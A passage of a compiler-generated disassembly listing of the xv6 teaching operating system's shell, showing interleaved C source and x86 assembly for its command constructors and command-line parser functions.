3cd: e8 e2 09 00 00 call db4 <memset>
cmd->type = EXEC;
3d2: 8b 45 f4 mov -0xc(%ebp),%eax
3d5: c7 00 01 00 00 00 movl $0x1,(%eax)
return (struct cmd*)cmd;
3db: 8b 45 f4 mov -0xc(%ebp),%eax
}
3de: c9 leave
3df: c3 ret
000003e0 <redircmd>:
struct cmd*
redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 83 ec 28 sub $0x28,%esp
struct redircmd *cmd;
cmd = malloc(sizeof(*cmd));
3e6: c7 04 24 18 00 00 00 movl $0x18,(%esp)
3ed: e8 fb 0f 00 00 call 13ed <malloc>
3f2: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
3f5: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
3fc: 00
3fd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
404: 00
405: 8b 45 f4 mov -0xc(%ebp),%eax
408: 89 04 24 mov %eax,(%esp)
40b: e8 a4 09 00 00 call db4 <memset>
cmd->type = REDIR;
410: 8b 45 f4 mov -0xc(%ebp),%eax
413: c7 00 02 00 00 00 movl $0x2,(%eax)
cmd->cmd = subcmd;
419: 8b 45 f4 mov -0xc(%ebp),%eax
41c: 8b 55 08 mov 0x8(%ebp),%edx
41f: 89 50 04 mov %edx,0x4(%eax)
cmd->file = file;
422: 8b 45 f4 mov -0xc(%ebp),%eax
425: 8b 55 0c mov 0xc(%ebp),%edx
428: 89 50 08 mov %edx,0x8(%eax)
cmd->efile = efile;
42b: 8b 45 f4 mov -0xc(%ebp),%eax
42e: 8b 55 10 mov 0x10(%ebp),%edx
431: 89 50 0c mov %edx,0xc(%eax)
cmd->mode = mode;
434: 8b 45 f4 mov -0xc(%ebp),%eax
437: 8b 55 14 mov 0x14(%ebp),%edx
43a: 89 50 10 mov %edx,0x10(%eax)
cmd->fd = fd;
43d: 8b 45 f4 mov -0xc(%ebp),%eax
440: 8b 55 18 mov 0x18(%ebp),%edx
443: 89 50 14 mov %edx,0x14(%eax)
return (struct cmd*)cmd;
446: 8b 45 f4 mov -0xc(%ebp),%eax
}
449: c9 leave
44a: c3 ret
0000044b <pipecmd>:
struct cmd*
pipecmd(struct cmd *left, struct cmd *right)
{
44b: 55 push %ebp
44c: 89 e5 mov %esp,%ebp
44e: 83 ec 28 sub $0x28,%esp
struct pipecmd *cmd;
cmd = malloc(sizeof(*cmd));
451: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
458: e8 90 0f 00 00 call 13ed <malloc>
45d: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
460: c7 44 24 08 0c 00 00 movl $0xc,0x8(%esp)
467: 00
468: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
46f: 00
470: 8b 45 f4 mov -0xc(%ebp),%eax
473: 89 04 24 mov %eax,(%esp)
476: e8 39 09 00 00 call db4 <memset>
cmd->type = PIPE;
47b: 8b 45 f4 mov -0xc(%ebp),%eax
47e: c7 00 03 00 00 00 movl $0x3,(%eax)
cmd->left = left;
484: 8b 45 f4 mov -0xc(%ebp),%eax
487: 8b 55 08 mov 0x8(%ebp),%edx
48a: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
48d: 8b 45 f4 mov -0xc(%ebp),%eax
490: 8b 55 0c mov 0xc(%ebp),%edx
493: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
496: 8b 45 f4 mov -0xc(%ebp),%eax
}
499: c9 leave
49a: c3 ret
0000049b <listcmd>:
struct cmd*
listcmd(struct cmd *left, struct cmd *right)
{
49b: 55 push %ebp
49c: 89 e5 mov %esp,%ebp
49e: 83 ec 28 sub $0x28,%esp
struct listcmd *cmd;
cmd = malloc(sizeof(*cmd));
4a1: c7 04 24 0c 00 00 00 movl $0xc,(%esp)
4a8: e8 40 0f 00 00 call 13ed <malloc>
4ad: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
4b0: c7 44 24 08 0c 00 00 movl $0xc,0x8(%esp)
4b7: 00
4b8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4bf: 00
4c0: 8b 45 f4 mov -0xc(%ebp),%eax
4c3: 89 04 24 mov %eax,(%esp)
4c6: e8 e9 08 00 00 call db4 <memset>
cmd->type = LIST;
4cb: 8b 45 f4 mov -0xc(%ebp),%eax
4ce: c7 00 04 00 00 00 movl $0x4,(%eax)
cmd->left = left;
4d4: 8b 45 f4 mov -0xc(%ebp),%eax
4d7: 8b 55 08 mov 0x8(%ebp),%edx
4da: 89 50 04 mov %edx,0x4(%eax)
cmd->right = right;
4dd: 8b 45 f4 mov -0xc(%ebp),%eax
4e0: 8b 55 0c mov 0xc(%ebp),%edx
4e3: 89 50 08 mov %edx,0x8(%eax)
return (struct cmd*)cmd;
4e6: 8b 45 f4 mov -0xc(%ebp),%eax
}
4e9: c9 leave
4ea: c3 ret
000004eb <backcmd>:
struct cmd*
backcmd(struct cmd *subcmd)
{
4eb: 55 push %ebp
4ec: 89 e5 mov %esp,%ebp
4ee: 83 ec 28 sub $0x28,%esp
struct backcmd *cmd;
cmd = malloc(sizeof(*cmd));
4f1: c7 04 24 08 00 00 00 movl $0x8,(%esp)
4f8: e8 f0 0e 00 00 call 13ed <malloc>
4fd: 89 45 f4 mov %eax,-0xc(%ebp)
memset(cmd, 0, sizeof(*cmd));
500: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
507: 00
508: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
50f: 00
510: 8b 45 f4 mov -0xc(%ebp),%eax
513: 89 04 24 mov %eax,(%esp)
516: e8 99 08 00 00 call db4 <memset>
cmd->type = BACK;
51b: 8b 45 f4 mov -0xc(%ebp),%eax
51e: c7 00 05 00 00 00 movl $0x5,(%eax)
cmd->cmd = subcmd;
524: 8b 45 f4 mov -0xc(%ebp),%eax
527: 8b 55 08 mov 0x8(%ebp),%edx
52a: 89 50 04 mov %edx,0x4(%eax)
return (struct cmd*)cmd;
52d: 8b 45 f4 mov -0xc(%ebp),%eax
}
530: c9 leave
531: c3 ret
00000532 <gettoken>:
char whitespace[] = " \t\r\n\v";
char symbols[] = "<|>&;()";
int
gettoken(char **ps, char *es, char **q, char **eq)
{
532: 55 push %ebp
533: 89 e5 mov %esp,%ebp
535: 83 ec 28 sub $0x28,%esp
char *s;
int ret;
s = *ps;
538: 8b 45 08 mov 0x8(%ebp),%eax
53b: 8b 00 mov (%eax),%eax
53d: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
540: eb 04 jmp 546 <gettoken+0x14>
s++;
542: 83 45 f4 01 addl $0x1,-0xc(%ebp)
{
char *s;
int ret;
s = *ps;
while(s < es && strchr(whitespace, *s))
546: 8b 45 f4 mov -0xc(%ebp),%eax
549: 3b 45 0c cmp 0xc(%ebp),%eax
54c: 73 1d jae 56b <gettoken+0x39>
54e: 8b 45 f4 mov -0xc(%ebp),%eax
551: 0f b6 00 movzbl (%eax),%eax
554: 0f be c0 movsbl %al,%eax
557: 89 44 24 04 mov %eax,0x4(%esp)
55b: c7 04 24 48 1a 00 00 movl $0x1a48,(%esp)
562: e8 71 08 00 00 call dd8 <strchr>
567: 85 c0 test %eax,%eax
569: 75 d7 jne 542 <gettoken+0x10>
s++;
if(q)
56b: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
56f: 74 08 je 579 <gettoken+0x47>
*q = s;
571: 8b 45 10 mov 0x10(%ebp),%eax
574: 8b 55 f4 mov -0xc(%ebp),%edx
577: 89 10 mov %edx,(%eax)
ret = *s;
579: 8b 45 f4 mov -0xc(%ebp),%eax
57c: 0f b6 00 movzbl (%eax),%eax
57f: 0f be c0 movsbl %al,%eax
582: 89 45 f0 mov %eax,-0x10(%ebp)
switch(*s){
585: 8b 45 f4 mov -0xc(%ebp),%eax
588: 0f b6 00 movzbl (%eax),%eax
58b: 0f be c0 movsbl %al,%eax
58e: 83 f8 29 cmp $0x29,%eax
591: 7f 14 jg 5a7 <gettoken+0x75>
593: 83 f8 28 cmp $0x28,%eax
596: 7d 28 jge 5c0 <gettoken+0x8e>
598: 85 c0 test %eax,%eax
59a: 0f 84 94 00 00 00 je 634 <gettoken+0x102>
5a0: 83 f8 26 cmp $0x26,%eax
5a3: 74 1b je 5c0 <gettoken+0x8e>
5a5: eb 3c jmp 5e3 <gettoken+0xb1>
5a7: 83 f8 3e cmp $0x3e,%eax
5aa: 74 1a je 5c6 <gettoken+0x94>
5ac: 83 f8 3e cmp $0x3e,%eax
5af: 7f 0a jg 5bb <gettoken+0x89>
5b1: 83 e8 3b sub $0x3b,%eax
5b4: 83 f8 01 cmp $0x1,%eax
5b7: 77 2a ja 5e3 <gettoken+0xb1>
5b9: eb 05 jmp 5c0 <gettoken+0x8e>
5bb: 83 f8 7c cmp $0x7c,%eax
5be: 75 23 jne 5e3 <gettoken+0xb1>
case '(':
case ')':
case ';':
case '&':
case '<':
s++;
5c0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
5c4: eb 6f jmp 635 <gettoken+0x103>
case '>':
s++;
5c6: 83 45 f4 01 addl $0x1,-0xc(%ebp)
if(*s == '>'){
5ca: 8b 45 f4 mov -0xc(%ebp),%eax
5cd: 0f b6 00 movzbl (%eax),%eax
5d0: 3c 3e cmp $0x3e,%al
5d2: 75 0d jne 5e1 <gettoken+0xaf>
ret = '+';
5d4: c7 45 f0 2b 00 00 00 movl $0x2b,-0x10(%ebp)
s++;
5db: 83 45 f4 01 addl $0x1,-0xc(%ebp)
}
break;
5df: eb 54 jmp 635 <gettoken+0x103>
5e1: eb 52 jmp 635 <gettoken+0x103>
default:
ret = 'a';
5e3: c7 45 f0 61 00 00 00 movl $0x61,-0x10(%ebp)
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
5ea: eb 04 jmp 5f0 <gettoken+0xbe>
s++;
5ec: 83 45 f4 01 addl $0x1,-0xc(%ebp)
s++;
}
break;
default:
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
5f0: 8b 45 f4 mov -0xc(%ebp),%eax
5f3: 3b 45 0c cmp 0xc(%ebp),%eax
5f6: 73 3a jae 632 <gettoken+0x100>
5f8: 8b 45 f4 mov -0xc(%ebp),%eax
5fb: 0f b6 00 movzbl (%eax),%eax
5fe: 0f be c0 movsbl %al,%eax
601: 89 44 24 04 mov %eax,0x4(%esp)
605: c7 04 24 48 1a 00 00 movl $0x1a48,(%esp)
60c: e8 c7 07 00 00 call dd8 <strchr>
611: 85 c0 test %eax,%eax
613: 75 1d jne 632 <gettoken+0x100>
615: 8b 45 f4 mov -0xc(%ebp),%eax
618: 0f b6 00 movzbl (%eax),%eax
61b: 0f be c0 movsbl %al,%eax
61e: 89 44 24 04 mov %eax,0x4(%esp)
622: c7 04 24 4e 1a 00 00 movl $0x1a4e,(%esp)
629: e8 aa 07 00 00 call dd8 <strchr>
62e: 85 c0 test %eax,%eax
630: 74 ba je 5ec <gettoken+0xba>
s++;
break;
632: eb 01 jmp 635 <gettoken+0x103>
if(q)
*q = s;
ret = *s;
switch(*s){
case 0:
break;
634: 90 nop
ret = 'a';
while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s))
s++;
break;
}
if(eq)
635: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
639: 74 0a je 645 <gettoken+0x113>
*eq = s;
63b: 8b 45 14 mov 0x14(%ebp),%eax
63e: 8b 55 f4 mov -0xc(%ebp),%edx
641: 89 10 mov %edx,(%eax)
while(s < es && strchr(whitespace, *s))
643: eb 06 jmp 64b <gettoken+0x119>
645: eb 04 jmp 64b <gettoken+0x119>
s++;
647: 83 45 f4 01 addl $0x1,-0xc(%ebp)
break;
}
if(eq)
*eq = s;
while(s < es && strchr(whitespace, *s))
64b: 8b 45 f4 mov -0xc(%ebp),%eax
64e: 3b 45 0c cmp 0xc(%ebp),%eax
651: 73 1d jae 670 <gettoken+0x13e>
653: 8b 45 f4 mov -0xc(%ebp),%eax
656: 0f b6 00 movzbl (%eax),%eax
659: 0f be c0 movsbl %al,%eax
65c: 89 44 24 04 mov %eax,0x4(%esp)
660: c7 04 24 48 1a 00 00 movl $0x1a48,(%esp)
667: e8 6c 07 00 00 call dd8 <strchr>
66c: 85 c0 test %eax,%eax
66e: 75 d7 jne 647 <gettoken+0x115>
s++;
*ps = s;
670: 8b 45 08 mov 0x8(%ebp),%eax
673: 8b 55 f4 mov -0xc(%ebp),%edx
676: 89 10 mov %edx,(%eax)
return ret;
678: 8b 45 f0 mov -0x10(%ebp),%eax
}
67b: c9 leave
67c: c3 ret
0000067d <peek>:
int
peek(char **ps, char *es, char *toks)
{
67d: 55 push %ebp
67e: 89 e5 mov %esp,%ebp
680: 83 ec 28 sub $0x28,%esp
char *s;
s = *ps;
683: 8b 45 08 mov 0x8(%ebp),%eax
686: 8b 00 mov (%eax),%eax
688: 89 45 f4 mov %eax,-0xc(%ebp)
while(s < es && strchr(whitespace, *s))
68b: eb 04 jmp 691 <peek+0x14>
s++;
68d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
peek(char **ps, char *es, char *toks)
{
char *s;
s = *ps;
while(s < es && strchr(whitespace, *s))
691: 8b 45 f4 mov -0xc(%ebp),%eax
694: 3b 45 0c cmp 0xc(%ebp),%eax
697: 73 1d jae 6b6 <peek+0x39>
699: 8b 45 f4 mov -0xc(%ebp),%eax
69c: 0f b6 00 movzbl (%eax),%eax
69f: 0f be c0 movsbl %al,%eax
6a2: 89 44 24 04 mov %eax,0x4(%esp)
6a6: c7 04 24 48 1a 00 00 movl $0x1a48,(%esp)
6ad: e8 26 07 00 00 call dd8 <strchr>
6b2: 85 c0 test %eax,%eax
6b4: 75 d7 jne 68d <peek+0x10>
s++;
*ps = s;
6b6: 8b 45 08 mov 0x8(%ebp),%eax
6b9: 8b 55 f4 mov -0xc(%ebp),%edx
6bc: 89 10 mov %edx,(%eax)
return *s && strchr(toks, *s);
6be: 8b 45 f4 mov -0xc(%ebp),%eax
6c1: 0f b6 00 movzbl (%eax),%eax
6c4: 84 c0 test %al,%al
6c6: 74 23 je 6eb <peek+0x6e>
6c8: 8b 45 f4 mov -0xc(%ebp),%eax
6cb: 0f b6 00 movzbl (%eax),%eax
6ce: 0f be c0 movsbl %al,%eax
6d1: 89 44 24 04 mov %eax,0x4(%esp)
6d5: 8b 45 10 mov 0x10(%ebp),%eax
6d8: 89 04 24 mov %eax,(%esp)
6db: e8 f8 06 00 00 call dd8 <strchr>
6e0: 85 c0 test %eax,%eax
6e2: 74 07 je 6eb <peek+0x6e>
6e4: b8 01 00 00 00 mov $0x1,%eax
6e9: eb 05 jmp 6f0 <peek+0x73>
6eb: b8 00 00 00 00 mov $0x0,%eax
}
6f0: c9 leave
6f1: c3 ret
000006f2 <parsecmd>:
struct cmd *parseexec(char**, char*);
struct cmd *nulterminate(struct cmd*);
struct cmd*
parsecmd(char *s)
{
6f2: 55 push %ebp
6f3: 89 e5 mov %esp,%ebp
6f5: 53 push %ebx
6f6: 83 ec 24 sub $0x24,%esp
char *es;
struct cmd *cmd;
es = s + strlen(s);
6f9: 8b 5d 08 mov 0x8(%ebp),%ebx
6fc: 8b 45 08 mov 0x8(%ebp),%eax
6ff: 89 04 24 mov %eax,(%esp)
702: e8 86 06 00 00 call d8d <strlen>
707: 01 d8 add %ebx,%eax
709: 89 45 f4 mov %eax,-0xc(%ebp)
cmd = parseline(&s, es);
70c: 8b 45 f4 mov -0xc(%ebp),%eax
70f: 89 44 24 04 mov %eax,0x4(%esp)
713: 8d 45 08 lea 0x8(%ebp),%eax
716: 89 04 24 mov %eax,(%esp)
719: e8 60 00 00 00 call 77e <parseline>
71e: 89 45 f0 mov %eax,-0x10(%ebp)
peek(&s, es, "");
721: c7 44 24 08 36 15 00 movl $0x1536,0x8(%esp)
728: 00
729: 8b 45 f4 mov -0xc(%ebp),%eax
72c: 89 44 24 04 mov %eax,0x4(%esp)
730: 8d 45 08 lea 0x8(%ebp),%eax
733: 89 04 24 mov %eax,(%esp)
736: e8 42 ff ff ff call 67d <peek>
if(s != es){
73b: 8b 45 08 mov 0x8(%ebp),%eax
73e: 3b 45 f4 cmp -0xc(%ebp),%eax
741: 74 27 je 76a <parsecmd+0x78>
printf(2, "leftovers: %s\n", s);
743: 8b 45 08 mov 0x8(%ebp),%eax
746: 89 44 24 08 mov %eax,0x8(%esp)
74a: c7 44 24 04 37 15 00 movl $0x1537,0x4(%esp)
751: 00
752: c7 04 24 02 00 00 00 movl $0x2,(%esp)
759: e8 a3 09 00 00 call 1101 <printf>
panic("syntax");
75e: c7 04 24 46 15 00 00 movl $0x1546,(%esp)
765: e8 ed fb ff ff call 357 <panic>
}
nulterminate(cmd);
76a: 8b 45 f0 mov -0x10(%ebp),%eax
76d: 89 04 24 mov %eax,(%esp)
770: e8 a3 04 00 00 call c18 <nulterminate>
return cmd;
775: 8b 45 f0 mov -0x10(%ebp),%eax
}
778: 83 c4 24 add $0x24,%esp
77b: 5b pop %ebx
77c: 5d pop %ebp
77d: c3 ret
0000077e <parseline>:
struct cmd*
parseline(char **ps, char *es)
{
77e: 55 push %ebp
77f: 89 e5 mov %esp,%ebp
781: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
cmd = parsepipe(ps, es);
784: 8b 45 0c mov 0xc(%ebp),%eax
787: 89 44 24 04 mov %eax,0x4(%esp)
78b: 8b 45 08 mov 0x8(%ebp),%eax
78e: 89 04 24 mov %eax,(%esp)
791: e8 bc 00 00 00 call 852 <parsepipe>
796: 89 45 f4 mov %eax,-0xc(%ebp)
while(peek(ps, es, "&")){
799: eb 30 jmp 7cb <parseline+0x4d>
gettoken(ps, es, 0, 0);
79b: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
7a2: 00
7a3: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
7aa: 00
7ab: 8b 45 0c mov 0xc(%ebp),%eax
7ae: 89 44 24 04 mov %eax,0x4(%esp)
7b2: 8b 45 08 mov 0x8(%ebp),%eax
7b5: 89 04 24 mov %eax,(%esp)
7b8: e8 75 fd ff ff call 532 <gettoken>
cmd = backcmd(cmd);
7bd: 8b 45 f4 mov -0xc(%ebp),%eax
7c0: 89 04 24 mov %eax,(%esp)
7c3: e8 23 fd ff ff call 4eb <backcmd>
7c8: 89 45 f4 mov %eax,-0xc(%ebp)
parseline(char **ps, char *es)
{
struct cmd *cmd;
cmd = parsepipe(ps, es);
while(peek(ps, es, "&")){
7cb: c7 44 24 08 4d 15 00 movl $0x154d,0x8(%esp)
7d2: 00
7d3: 8b 45 0c mov 0xc(%ebp),%eax
7d6: 89 44 24 04 mov %eax,0x4(%esp)
7da: 8b 45 08 mov 0x8(%ebp),%eax
7dd: 89 04 24 mov %eax,(%esp)
7e0: e8 98 fe ff ff call 67d <peek>
7e5: 85 c0 test %eax,%eax
7e7: 75 b2 jne 79b <parseline+0x1d>
gettoken(ps, es, 0, 0);
cmd = backcmd(cmd);
}
if(peek(ps, es, ";")){
7e9: c7 44 24 08 4f 15 00 movl $0x154f,0x8(%esp)
7f0: 00
7f1: 8b 45 0c mov 0xc(%ebp),%eax
7f4: 89 44 24 04 mov %eax,0x4(%esp)
7f8: 8b 45 08 mov 0x8(%ebp),%eax
7fb: 89 04 24 mov %eax,(%esp)
7fe: e8 7a fe ff ff call 67d <peek>
803: 85 c0 test %eax,%eax
805: 74 46 je 84d <parseline+0xcf>
gettoken(ps, es, 0, 0);
807: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
80e: 00
80f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
816: 00
817: 8b 45 0c mov 0xc(%ebp),%eax
81a: 89 44 24 04 mov %eax,0x4(%esp)
81e: 8b 45 08 mov 0x8(%ebp),%eax
821: 89 04 24 mov %eax,(%esp)
824: e8 09 fd ff ff call 532 <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
829: 8b 45 0c mov 0xc(%ebp),%eax
82c: 89 44 24 04 mov %eax,0x4(%esp)
830: 8b 45 08 mov 0x8(%ebp),%eax
833: 89 04 24 mov %eax,(%esp)
836: e8 43 ff ff ff call 77e <parseline>
83b: 89 44 24 04 mov %eax,0x4(%esp)
83f: 8b 45 f4 mov -0xc(%ebp),%eax
842: 89 04 24 mov %eax,(%esp)
845: e8 51 fc ff ff call 49b <listcmd>
84a: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
84d: 8b 45 f4 mov -0xc(%ebp),%eax
}
850: c9 leave
851: c3 ret
00000852 <parsepipe>:
struct cmd*
parsepipe(char **ps, char *es)
{
852: 55 push %ebp
853: 89 e5 mov %esp,%ebp
855: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
cmd = parseexec(ps, es);
858: 8b 45 0c mov 0xc(%ebp),%eax
85b: 89 44 24 04 mov %eax,0x4(%esp)
85f: 8b 45 08 mov 0x8(%ebp),%eax
862: 89 04 24 mov %eax,(%esp)
865: e8 68 02 00 00 call ad2 <parseexec>
86a: 89 45 f4 mov %eax,-0xc(%ebp)
if(peek(ps, es, "|")){
86d: c7 44 24 08 51 15 00 movl $0x1551,0x8(%esp)
874: 00
875: 8b 45 0c mov 0xc(%ebp),%eax
878: 89 44 24 04 mov %eax,0x4(%esp)
87c: 8b 45 08 mov 0x8(%ebp),%eax
87f: 89 04 24 mov %eax,(%esp)
882: e8 f6 fd ff ff call 67d <peek>
887: 85 c0 test %eax,%eax
889: 74 46 je 8d1 <parsepipe+0x7f>
gettoken(ps, es, 0, 0);
88b: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
892: 00
893: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
89a: 00
89b: 8b 45 0c mov 0xc(%ebp),%eax
89e: 89 44 24 04 mov %eax,0x4(%esp)
8a2: 8b 45 08 mov 0x8(%ebp),%eax
8a5: 89 04 24 mov %eax,(%esp)
8a8: e8 85 fc ff ff call 532 <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
8ad: 8b 45 0c mov 0xc(%ebp),%eax
8b0: 89 44 24 04 mov %eax,0x4(%esp)
8b4: 8b 45 08 mov 0x8(%ebp),%eax
8b7: 89 04 24 mov %eax,(%esp)
8ba: e8 93 ff ff ff call 852 <parsepipe>
8bf: 89 44 24 04 mov %eax,0x4(%esp)
8c3: 8b 45 f4 mov -0xc(%ebp),%eax
8c6: 89 04 24 mov %eax,(%esp)
8c9: e8 7d fb ff ff call 44b <pipecmd>
8ce: 89 45 f4 mov %eax,-0xc(%ebp)
}
return cmd;
8d1: 8b 45 f4 mov -0xc(%ebp),%eax
}
8d4: c9 leave
8d5: c3 ret
000008d6 <parseredirs>:
struct cmd*
parseredirs(struct cmd *cmd, char **ps, char *es)
{
8d6: 55 push %ebp
8d7: 89 e5 mov %esp,%ebp
8d9: 83 ec 38 sub $0x38,%esp
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
8dc: e9 f6 00 00 00 jmp 9d7 <parseredirs+0x101>
tok = gettoken(ps, es, 0, 0);
8e1: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
8e8: 00
8e9: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8f0: 00
8f1: 8b 45 10 mov 0x10(%ebp),%eax
8f4: 89 44 24 04 mov %eax,0x4(%esp)
8f8: 8b 45 0c mov 0xc(%ebp),%eax
8fb: 89 04 24 mov %eax,(%esp)
8fe: e8 2f fc ff ff call 532 <gettoken>
903: 89 45 f4 mov %eax,-0xc(%ebp)
if(gettoken(ps, es, &q, &eq) != 'a')
906: 8d 45 ec lea -0x14(%ebp),%eax
909: 89 44 24 0c mov %eax,0xc(%esp)
90d: 8d 45 f0 lea -0x10(%ebp),%eax
910: 89 44 24 08 mov %eax,0x8(%esp)
914: 8b 45 10 mov 0x10(%ebp),%eax
917: 89 44 24 04 mov %eax,0x4(%esp)
91b: 8b 45 0c mov 0xc(%ebp),%eax
91e: 89 04 24 mov %eax,(%esp)
921: e8 0c fc ff ff call 532 <gettoken>
926: 83 f8 61 cmp $0x61,%eax
929: 74 0c je 937 <parseredirs+0x61>
panic("missing file for redirection");
92b: c7 04 24 53 15 00 00 movl $0x1553,(%esp)
932: e8 20 fa ff ff call 357 <panic>
switch(tok){
937: 8b 45 f4 mov -0xc(%ebp),%eax
93a: 83 f8 3c cmp $0x3c,%eax
93d: 74 0f je 94e <parseredirs+0x78>
93f: 83 f8 3e cmp $0x3e,%eax
942: 74 38 je 97c <parseredirs+0xa6>
944: 83 f8 2b cmp $0x2b,%eax
947: 74 61 je 9aa <parseredirs+0xd4>
949: e9 89 00 00 00 jmp 9d7 <parseredirs+0x101>
case '<':
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
94e: 8b 55 ec mov -0x14(%ebp),%edx
951: 8b 45 f0 mov -0x10(%ebp),%eax
954: c7 44 24 10 00 00 00 movl $0x0,0x10(%esp)
95b: 00
95c: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
963: 00
964: 89 54 24 08 mov %edx,0x8(%esp)
968: 89 44 24 04 mov %eax,0x4(%esp)
96c: 8b 45 08 mov 0x8(%ebp),%eax
96f: 89 04 24 mov %eax,(%esp)
972: e8 69 fa ff ff call 3e0 <redircmd>
977: 89 45 08 mov %eax,0x8(%ebp)
break;
97a: eb 5b jmp 9d7 <parseredirs+0x101>
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
97c: 8b 55 ec mov -0x14(%ebp),%edx
97f: 8b 45 f0 mov -0x10(%ebp),%eax
982: c7 44 24 10 01 00 00 movl $0x1,0x10(%esp)
989: 00
98a: c7 44 24 0c 01 02 00 movl $0x201,0xc(%esp)
991: 00
992: 89 54 24 08 mov %edx,0x8(%esp)
996: 89 44 24 04 mov %eax,0x4(%esp)
99a: 8b 45 08 mov 0x8(%ebp),%eax
99d: 89 04 24 mov %eax,(%esp)
9a0: e8 3b fa ff ff call 3e0 <redircmd>
9a5: 89 45 08 mov %eax,0x8(%ebp)
break;
9a8: eb 2d jmp 9d7 <parseredirs+0x101>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
9aa: 8b 55 ec mov -0x14(%ebp),%edx
9ad: 8b 45 f0 mov -0x10(%ebp),%eax
9b0: c7 44 24 10 01 00 00 movl $0x1,0x10(%esp)
9b7: 00
9b8: c7 44 24 0c 01 02 00 movl $0x201,0xc(%esp)
9bf: 00
9c0: 89 54 24 08 mov %edx,0x8(%esp)
9c4: 89 44 24 04 mov %eax,0x4(%esp)
9c8: 8b 45 08 mov 0x8(%ebp),%eax
9cb: 89 04 24 mov %eax,(%esp)
9ce: e8 0d fa ff ff call 3e0 <redircmd>
9d3: 89 45 08 mov %eax,0x8(%ebp)
break;
9d6: 90 nop
parseredirs(struct cmd *cmd, char **ps, char *es)
{
int tok;
char *q, *eq;
while(peek(ps, es, "<>")){
9d7: c7 44 24 08 70 15 00 movl $0x1570,0x8(%esp)
9de: 00
9df: 8b 45 10 mov 0x10(%ebp),%eax
9e2: 89 44 24 04 mov %eax,0x4(%esp)
9e6: 8b 45 0c mov 0xc(%ebp),%eax
9e9: 89 04 24 mov %eax,(%esp)
9ec: e8 8c fc ff ff call 67d <peek>
9f1: 85 c0 test %eax,%eax
9f3: 0f 85 e8 fe ff ff jne 8e1 <parseredirs+0xb>
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
}
}
return cmd;
9f9: 8b 45 08 mov 0x8(%ebp),%eax
}
9fc: c9 leave
9fd: c3 ret
000009fe <parseblock>:
struct cmd*
parseblock(char **ps, char *es)
{
9fe: 55 push %ebp
9ff: 89 e5 mov %esp,%ebp
a01: 83 ec 28 sub $0x28,%esp
struct cmd *cmd;
if(!peek(ps, es, "("))
a04: c7 44 24 08 73 15 00 movl $0x1573,0x8(%esp)
a0b: 00
a0c: 8b 45 0c mov 0xc(%ebp),%eax
a0f: 89 44 24 04 mov %eax,0x4(%esp)
a13: 8b 45 08 mov 0x8(%ebp),%eax
a16: 89 04 24 mov %eax,(%esp)
a19: e8 5f fc ff ff call 67d <peek>
a1e: 85 c0 test %eax,%eax
a20: 75 0c jne a2e <parseblock+0x30>
panic("parseblock");
a22: c7 04 24 75 15 00 00 movl $0x1575,(%esp)
a29: e8 29 f9 ff ff call 357 <panic>
gettoken(ps, es, 0, 0);
a2e: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
a35: 00
a36: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
a3d: 00
a3e: 8b 45 0c mov 0xc(%ebp),%eax
a41: 89 44 24 04 mov %eax,0x4(%esp)
a45: 8b 45 08 mov 0x8(%ebp),%eax
a48: 89 04 24 mov %eax,(%esp)
a4b: e8 e2 fa ff ff call 532 <gettoken>
cmd = parseline(ps, es);
a50: 8b 45 0c mov 0xc(%ebp),%eax
a53: 89 44 24 04 mov %eax,0x4(%esp)
a57: 8b 45 08 mov 0x8(%ebp),%eax
a5a: 89 04 24 mov %eax,(%esp)
a5d: e8 1c fd ff ff call 77e <parseline>
a62: 89 45 f4 mov %eax,-0xc(%ebp)
if(!peek(ps, es, ")"))
a65: c7 44 24 08 80 15 00 movl $0x1580,0x8(%esp)
a6c: 00
a6d: 8b 45 0c mov 0xc(%ebp),%eax
a70: 89 44 24 04 mov %eax,0x4(%esp)
a74: 8b 45 08 mov 0x8(%ebp),%eax
a77: 89 04 24 mov %eax,(%esp)
a7a: e8 fe fb ff ff call 67d <peek>
